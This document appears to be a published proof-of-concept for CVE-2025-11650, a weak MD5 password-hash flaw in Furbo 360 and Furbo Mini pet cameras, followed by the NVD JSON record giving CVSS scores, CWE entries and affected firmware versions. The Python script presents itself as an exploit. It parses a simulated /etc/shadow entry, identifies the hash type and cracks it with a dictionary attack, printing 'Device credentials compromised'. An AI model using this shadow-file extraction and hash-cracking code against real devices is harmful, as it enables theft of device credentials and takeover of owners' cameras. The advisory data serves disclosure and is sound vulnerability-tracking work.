CVE-2025-11650

# CVE-2025-11650 PoC - Furbo Weak Hash Vulnerability # This PoC demonstrates the concept of extracting and cracking weak password hashes # from Furbo 360 and Furbo Mini devices' /etc/shadow file. import hashlib import crypt # Step 1: Simulate extracting the /etc/shadow file from the compromised device # In a real attack, this would involve physical access to extract the file def extract_shadow_file(): """ Simulates the extraction of /etc/shadow from a Furbo device. The actual shadow file would be obtained through physical access, JTAG/UART debugging, or firmware extraction. """ # Example weak hash entry from /etc/shadow # Format: username:password_hash:lastchange:min:max:warn:inactive:expire shadow_entry = "furbo_user:$1$salt$weakHashValue:19000:0:99999:7:::" return shadow_entry # Step 2: Parse the shadow file entry def parse_shadow_entry(entry): """Parse a shadow file entry to extract the hash.""" parts = entry.split(':') username = parts[0] password_hash = parts[1] return username, password_hash # Step 3: Identify the hash algorithm used def identify_hash_algorithm(hash_str): """Identify the hash algorithm based on the prefix.""" if hash_str.startswith("$1$"): return "MD5 (weak)" elif hash_str.startswith("$2a$") or hash_str.startswith("$2b$"): return "bcrypt (strong)" elif hash_str.startswith("$5$"): return "SHA-256" elif hash_str.startswith("$6$"): return "SHA-512 (strong)" else: return "Unknown/Weak" # Step 4: Crack the weak hash using dictionary attack def crack_weak_hash(hash_str, wordlist): """ Attempt to crack a weak hash using a dictionary attack. MD5-based hashes ($1$) can be cracked relatively quickly. """ # Extract salt from the hash parts = hash_str.split('$') if len(parts) >= 4: salt = f"${parts[1]}${parts[2]}$" else: salt = "" for password in wordlist: # crypt() uses the salt to determine the algorithm test_hash = crypt.crypt(password, salt) if test_hash == hash_str: return password return None # Main execution if __name__ == "__main__": # Extract shadow file shadow = extract_shadow_file() username, pwd_hash = parse_shadow_entry(shadow) print(f"[*] Extracted shadow entry for user: {username}") print(f"[*] Password hash: {pwd_hash}") print(f"[*] Hash algorithm: {identify_hash_algorithm(pwd_hash)}") # Common password wordlist for demonstration wordlist = ["password", "admin", "furbo123", "123456", "password123"] print(f"[*] Attempting to crack weak hash...") cracked = crack_weak_hash(pwd_hash, wordlist) if cracked: print(f"[+] Password cracked: {cracked}") print(f"[!] Device credentials compromised!") else: print("[-] Password not found in wordlist")

{"cve": {"id": "CVE-2025-11650", "sourceIdentifier": "[email protected]", "published": "2025-10-12T23:15:32.943", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tomofun Furbo 360 and Furbo Mini. The impacted element is an unknown function of the file /etc/shadow of the component Password Handler. Executing manipulation can lead to use of weak hash. The physical device can be targeted for the attack. The attack requires a high level of complexity. The exploitability is regarded as difficult. The exploit has been publicly disclosed and may be utilized. The firmware versions determined to be affected are Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 0.3, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 1.8, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.4, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.4, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:P/I:N/A:N", "baseScore": 1.0, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 1.5, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}, {"lang": "en", "value": "CWE-328"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_mini_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "074", "matchCriteriaId": "06B19876-699B-455F-945F-AF26C60BF965"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_mini:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F549356-AF78-447C-8689-D9DD1A9202DC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_360_dog_camera_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "036", "matchCriteriaId": "6DDA1333-73CD-494A-8DD3-9543FDFD47A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_360_dog_camera:*:*:*:*:*:*:*:*", "matchCriteriaId": "08CA8E77-413F-4849-A110-49DB ... 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